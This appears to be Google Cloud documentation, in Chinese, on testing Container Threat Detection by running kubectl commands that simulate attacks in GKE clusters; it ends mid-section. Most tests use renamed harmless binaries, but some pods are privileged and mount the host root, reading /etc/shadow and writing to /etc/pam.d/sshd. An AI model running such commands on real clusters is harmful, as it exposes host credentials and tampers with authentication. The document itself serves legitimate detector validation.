本頁面說明如何刻意觸發偵測工具並檢查發現項目,藉此確認 Container Threat Detection 是否正常運作。如要查看 Container Threat Detection 發現項目,必須在 Security Command Center 的「Services」(服務) 設定中啟用 Container Threat Detection。
事前準備
如要偵測容器的潛在威脅,請確保叢集使用受支援的 Google Kubernetes Engine (GKE) 版本。詳情請參閱「使用支援的 GKE 版本」。如要測試 ARM 上的威脅偵測功能,叢集的節點集區必須包含 ARM 執行個體。詳情請參閱「GKE 中的 Arm 工作負載」。
查看偵測工具狀態
您只能測試已啟用的偵測工具。測試偵測工具前,請確認已啟用。
控制台
如果啟用 Container Threat Detection 服務,您可以設定個別模組的啟用狀態。
- 前往 Google Cloud 控制台的 Container Threat Detection「Modules」(模組) 頁面。
- 選取您的機構或專案。
- 在「Modules」(模組) 分頁的「Status」(狀態) 欄中,選取要啟用或停用的模組目前狀態,然後選取下列其中一項:
- 啟用:啟用模組。
- 停用:停用模組。
gcloud
gcloud scc manage services describe 指令會取得 Security Command Center 服務或模組的狀態。
使用下列任何指令資料前,請先替換以下項目:
-
RESOURCE_TYPE:要取得的資源類型 (organization、folder或project) -
RESOURCE_ID:要取得的組織、資料夾或專案數字 ID。如果是專案,您也可以使用英數字元組成的專案 ID。
執行 gcloud scc manage services describe 指令:
Linux、macOS 或 Cloud Shell
gcloud scc manage services describe container-threat-detection \ --RESOURCE_TYPE=RESOURCE_ID
Windows (PowerShell)
gcloud scc manage services describe container-threat-detection ` --RESOURCE_TYPE=RESOURCE_ID
Windows (cmd.exe)
gcloud scc manage services describe container-threat-detection ^ --RESOURCE_TYPE=RESOURCE_ID
您應該會收到類似以下的回覆。為求簡潔,這個範例僅顯示 Container Threat Detection 模組的一部分。
effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
effectiveEnablementState: ENABLED
ACCESS_SENSITIVE_FILES_ON_NODES:
effectiveEnablementState: DISABLED
ADDED_BINARY_EXECUTED:
effectiveEnablementState: DISABLED
intendedEnablementState: DISABLED
ADDED_LIBRARY_LOADED:
effectiveEnablementState: DISABLED
intendedEnablementState: DISABLED
ADDED_MALICIOUS_BINARY_EXECUTED:
effectiveEnablementState: ENABLED
ADDED_MALICIOUS_LIBRARY_LOADED:
effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'
REST
Security Command Center Management API 的 RESOURCE_TYPE.locations.securityCenterServices.get 方法會取得 Security Command Center 服務或模組的狀態。
使用任何要求資料之前,請先修改下列項目的值:
-
RESOURCE_TYPE:要取得的資源類型 (organizations、folders或projects)。 -
QUOTA_PROJECT:用於追蹤帳單和配額的專案 ID。 -
RESOURCE_ID:要取得的組織、資料夾或專案數字 ID。如果是專案,您也可以使用英數字元組成的專案 ID。
HTTP 方法和網址:
GET https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection
請展開以下其中一個選項,以傳送要求:
您應該會收到類似以下的回覆。為求簡潔,這個範例僅顯示 Container Threat Detection 模組的一部分。
{
"effectiveEnablementState": "ENABLED",
"intendedEnablementState": "ENABLED",
"modules": {
"ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
"effectiveEnablementState": "ENABLED"
},
"ACCESS_SENSITIVE_FILES_ON_NODES": {
"effectiveEnablementState": "DISABLED"
},
"ADDED_BINARY_EXECUTED": {
"effectiveEnablementState": "DISABLED",
"intendedEnablementState": "DISABLED"
},
"ADDED_LIBRARY_LOADED": {
"effectiveEnablementState": "DISABLED",
"intendedEnablementState": "DISABLED"
},
"ADDED_MALICIOUS_BINARY_EXECUTED": {
"effectiveEnablementState": "ENABLED"
},
"ADDED_MALICIOUS_LIBRARY_LOADED": {
"effectiveEnablementState": "ENABLED"
}
},
"name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
"updateTime": "2025-11-12T03:22:07Z"
}
啟用偵測工具
如要測試已停用的偵測工具,請先啟用。
部分偵測工具預設為停用。詳情請參閱「停用的偵測工具」。
控制台
如果啟用 Container Threat Detection 服務,您可以設定個別模組的啟用狀態。
- 前往 Google Cloud 控制台的 Container Threat Detection「Modules」(模組) 頁面。
- 選取您的機構或專案。
- 在「Modules」(模組) 分頁的「Status」(狀態) 欄中,選取要啟用或停用的模組目前狀態,然後選取下列其中一項:
- 啟用:啟用模組。
- 停用:停用模組。
gcloud
gcloud scc manage services update 指令會更新 Security Command Center 服務或模組的狀態。
使用下列任何指令資料前,請先替換以下項目:
-
RESOURCE_TYPE:要更新的資源類型 (organization、folder或project)。 -
RESOURCE_ID:要更新的組織、資料夾或專案數字 ID。如果是專案,您也可以使用英數字元組成的專案 ID。 -
MODULE_NAME:要啟用或停用的模組名稱。如要查看有效值,請參閱「Container Threat Detection 偵測工具」。
將下列內容儲存至名為 request.json 的檔案:
{ "MODULE_NAME": { "intendedEnablementState": "ENABLED" } }
執行 gcloud scc manage services update 指令:
Linux、macOS 或 Cloud Shell
gcloud scc manage services update container-threat-detection \ --RESOURCE_TYPE=RESOURCE_ID \ --module-config-file=request.json
Windows (PowerShell)
gcloud scc manage services update container-threat-detection ` --RESOURCE_TYPE=RESOURCE_ID ` --module-config-file=request.json
Windows (cmd.exe)
gcloud scc manage services update container-threat-detection ^ --RESOURCE_TYPE=RESOURCE_ID ^ --module-config-file=request.json
您應該會收到類似以下的回覆。為求簡潔,這個範例僅顯示 Container Threat Detection 模組的一部分。
effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
effectiveEnablementState: ENABLED
ACCESS_SENSITIVE_FILES_ON_NODES:
effectiveEnablementState: DISABLED
ADDED_BINARY_EXECUTED:
effectiveEnablementState: DISABLED
intendedEnablementState: DISABLED
ADDED_LIBRARY_LOADED:
effectiveEnablementState: DISABLED
intendedEnablementState: DISABLED
ADDED_MALICIOUS_BINARY_EXECUTED:
effectiveEnablementState: ENABLED
ADDED_MALICIOUS_LIBRARY_LOADED:
effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'
REST
Security Command Center Management API 的 RESOURCE_TYPE.locations.securityCenterServices.patch 方法會更新 Security Command Center 服務或模組的狀態。
使用任何要求資料之前,請先修改下列項目的值:
-
RESOURCE_TYPE:要更新的資源類型 (organizations、folders或projects)。 -
QUOTA_PROJECT:用於追蹤帳單和配額的專案 ID。 -
RESOURCE_ID:要更新的組織、資料夾或專案數字 ID。如果是專案,您也可以使用英數字元組成的專案 ID。 -
MODULE_NAME:要啟用或停用的模組名稱。如要查看有效值,請參閱「Container Threat Detection 偵測工具」。
HTTP 方法和網址:
PATCH https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules
JSON 要求主體:
{
"modules": {
"MODULE_NAME": {
"intendedEnablementState": "ENABLED"
}
}
}
請展開以下其中一個選項,以傳送要求:
您應該會收到類似以下的回覆。為求簡潔,這個範例僅顯示 Container Threat Detection 模組的一部分。
{
"effectiveEnablementState": "ENABLED",
"intendedEnablementState": "ENABLED",
"modules": {
"ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
"effectiveEnablementState": "ENABLED"
},
"ACCESS_SENSITIVE_FILES_ON_NODES": {
"effectiveEnablementState": "DISABLED"
},
"ADDED_BINARY_EXECUTED": {
"effectiveEnablementState": "DISABLED",
"intendedEnablementState": "DISABLED"
},
"ADDED_LIBRARY_LOADED": {
"effectiveEnablementState": "DISABLED",
"intendedEnablementState": "DISABLED"
},
"ADDED_MALICIOUS_BINARY_EXECUTED": {
"effectiveEnablementState": "ENABLED"
},
"ADDED_MALICIOUS_LIBRARY_LOADED": {
"effectiveEnablementState": "ENABLED"
}
},
"name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
"updateTime": "2025-11-12T03:22:07Z"
}
設定環境變數
如要測試偵測工具,請使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中設定環境變數,以便執行指令。下列變數用於測試所有 Container Threat Detection 偵測工具。
前往 Google Cloud 控制台。
選取要用來測試的容器所屬專案。
按一下「啟用 Cloud Shell」。
在 Cloud Shell 設定環境變數。
叢集所在的可用區:
export ZONE=CLUSTER_ZONE容器所在的專案:
export PROJECT=PROJECT_ID叢集名稱:
export CLUSTER_NAME=CLUSTER_NAME
變數已設定完成。下列各節提供測試 Container Threat Detection 偵測工具的操作說明。
已執行新增的二進位檔
如要觸發「已執行新增的二進位檔」發現項目,請將二進位檔放入容器並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔,將 /bin/ls 複製到其他位置,然後執行。二進位檔的副本不屬於原始容器映像檔,即使該映像檔位於 Ubuntu 24.04,且容器應為不可變,二進位檔的執行仍不符合預期。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT植入二進位檔並執行:
x86 節點:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"ARM 節點:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
這項測試程序會建立「Added Binary Executed」發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
為減少雜訊,Container Threat Detection 會在您首次建立容器時,暫時篩除「已新增二進位檔執行」發現項目。如要查看設定容器時的所有「已新增二進位檔執行」發現項目,請在容器名稱或 Pod 名稱前面加上 ktd-test,如範例所示。
已載入新增的資料庫
如要觸發「已載入新增的資料庫」發現項目,請將資料庫放入容器,然後載入。這個範例會部署最新的 Ubuntu 24.04 映像檔,將 /lib/x86_64-linux-gnu/libc.so.6 複製到其他位置,然後使用 ld 載入。載入的程式庫不符合預期,因為程式庫副本並非原始容器映像檔的一部分,即使該映像檔位於 Ubuntu 24.04,且容器應為不可變更。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT拖曳程式庫,並使用
ld載入:x86 節點:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"ARM 節點:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
這項測試程序會建立「已載入新增的程式庫」發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
為減少雜訊,首次建立容器時,Container Threat Detection 會暫時篩除「已載入新增的程式庫」發現項目。如要在設定容器時查看所有「已載入新增的程式庫」發現項目,請在容器名稱或 Pod 名稱前面加上 ktd-test,如範例所示。
集合:修改 pam.d (預先發布版)
如要觸發 pam.d 修改偵測,請修改主機的其中一個 PAM 相關檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,將主機的根檔案系統掛接至容器,然後修改 /etc/pam.d/sshd。
這是檔案監控偵測工具,有特定的 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行二進位檔,修改主機上與 PAM 相關的其中一個檔案。
x86 節點:
tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
這項測試程序會觸發 pam.d 修改發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
指揮與控制:執行透過管道傳送且經過編碼的程式碼
如要觸發 Command and Control: Piped Encoded Code Execution 發現項目,必須將 base64 解碼指令傳送至可執行程式碼的二進位檔 (例如 python) 執行。本範例使用最新的 Ubuntu 24.04 映像檔。它會使用 echo 傳送編碼字串,將 Hello World 列印到 python 可執行檔。這類行為會標記為可疑,因為這可能表示攻擊者試圖執行惡意指令碼。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT解碼 Base64 編碼字串,並透過管道傳送至
python:x86 節點:
tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"ARM 節點:
tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
這項測試程序會建立 Command and Control: Piped Encoded Code Execution 發現項目,如果您已為 Container Threat Detection 設定 Logging,則可在 Security Command Center 和 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
指揮與控制:下載透過管道傳送且經過編碼的資料
如要觸發 Command and Control: Piped Encoded Download 發現項目,必須將 curl 等可執行檔透過管道傳送至 base64 解碼指令。本範例使用最新的 Ubuntu 24.04 映像檔。它會複製 /bin/echo 並重新命名為 curl,然後將模擬的 curl 呼叫傳送至 base64。這項行為會標記為可疑,因為這可能表示有人試圖下載及解碼惡意指令碼,供攻擊者日後使用。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行
curl呼叫,並透過管道傳送至base64 -d:x86 節點:
tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"ARM 節點:
tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
這項測試程序會建立 Command and Control: Piped Encoded Download 發現項目,如果您已為 Container Threat Detection 設定 Logging,則可在 Security Command Center 和 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
指揮與控制:偵測到隱寫術工具
如要觸發 Command and Control: Steganography Tool Detected (預先發布版) 發現項目,二進位檔必須在容器內執行,且檔案操控功能與隱寫術工具一致。本範例使用最新的 Ubuntu 24.04 映像檔。它會複製 /bin/ls 並重新命名為 steghide (或 stegano 等其他隱寫術工具)。這項行為會標記為可疑,因為這可能表示有人試圖準備容器來隱藏或擷取資料,可能用於惡意目的。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行隱寫術工具二進位檔,例如
steghide:x86 節點:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"ARM 節點:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
這項測試程序會建立 Command and Control: Steganography Tool
Detected 發現項目,如果您已為 Container Threat Detection 設定 Logging,則可在 Security Command Center 和 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
憑證存取:存取節點中的敏感檔案 (預先發布版)
如要觸發「存取機密檔案」偵測,請讀取主機的 /etc/shadow 檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,將主機的根檔案系統掛接至容器,然後使用 cat 讀取 /etc/shadow。
這是檔案監控偵測工具,有特定的 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行讀取主機
/etc/shadow檔案的二進位檔。x86 節點:
tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/cat", "/host/etc/shadow"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/cat", "/host/etc/shadow"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
這項測試程序會觸發「存取機密檔案」發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
憑證存取:尋找 Google Cloud 憑證
如要觸發 Credential Access: Find Google Cloud Credentials 發現項目,必須在容器中執行可搜尋檔案內容的二進位檔。本範例使用最新的 Ubuntu 24.04 映像檔。複製 /bin/ls 並重新命名為 grep。接著,系統會使用引數執行重新命名的二進位檔,這些引數會指定代表 Google Cloud 憑證形式的搜尋模式。這項動作會標記為可疑,因為其行為與嘗試尋找 Google Cloud 憑證時觀察到的行為類似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"ARM 節點:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
這項測試程序會建立 Credential Access: Find Google Cloud Credentials 發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
憑證存取:GPG 金鑰偵查
如要觸發 Credential Access: GPG Key Reconnaissance 發現項目,必須在容器中執行可搜尋檔案內容的二進位檔。本範例使用最新的 Ubuntu 24.04 映像檔。它會複製 /bin/ls 並重新命名為 find (或其他合適的搜尋公用程式,例如 grep)。接著,系統會使用引數執行重新命名的二進位檔,這些引數會指定代表私密金鑰或密碼的搜尋模式,或代表密碼或密鑰的內容模式。這項操作會標記為可疑,因為其行為模式與嘗試尋找 GPG 安全金鑰時觀察到的行為類似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring.gpg"ARM 節點:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
這項測試程序會建立 Credential Access: GPG Key Reconnaissance 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
憑證存取:搜尋私密金鑰或密碼
如要觸發 Credential Access: Search Private Keys or Passwords 發現項目,必須在容器中執行可搜尋檔案內容的二進位檔。本範例使用最新的 Ubuntu 24.04 映像檔。它會複製 /bin/ls 並重新命名為 find (或其他合適的搜尋公用程式,例如 grep)。接著,系統會使用引數執行重新命名的二進位檔,這些引數會指定代表私密金鑰或密碼的搜尋模式,或代表密碼或密鑰的內容模式。這項動作會標記為可疑,因為其行為模式與在容器化環境中嘗試尋找私密金鑰或密碼等機密資訊時觀察到的行為類似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"ARM 節點:
tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
這項測試程序會建立 Credential Access: Search Private Keys or
Passwords 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
規避防禦機制:Base64 ELF 檔案指令列
如要觸發 Defense Evasion: Base64 ELF File Command Line 發現項目,程序必須將 base64 做為引數,並將 f0VMRgIB 做為引數,這是 ELF 的 base64 編碼形式。本範例使用最新的 Ubuntu 24.04 映像檔。接著,系統會使用 -d 和 f0VMRgIB 引數執行 base64。這項動作會標記為可疑,因為其行為模式與嘗試解碼二進位資料以執行惡意程式碼時觀察到的行為類似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"ARM 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
這項測試程序會建立兩個 Defense Evasion: Base64 ELF File Command Line 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。系統會建立兩個發現項目,因為初始 bash -c 指令以及 base64 -d 指令的執行都符合發現項目條件。
規避防禦:已執行 Base64 編碼的 Python 指令碼
如要觸發 Defense Evasion: Base64 Encoded Python Script Executed 發現項目,程序必須有 echo 或 base64 做為引數,以及 aW1wb3J0IH 做為引數,這是 python -c 的 base64 編碼形式。本範例使用最新的 Ubuntu 24.04 映像檔。接著,系統會使用 aW1wb3J0IH 引數執行 echo。這項動作會標記為可疑,因為其行為模式與嘗試解碼二進位資料以執行惡意程式碼時觀察到的行為類似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo aW1wb3J0IH"ARM 節點:
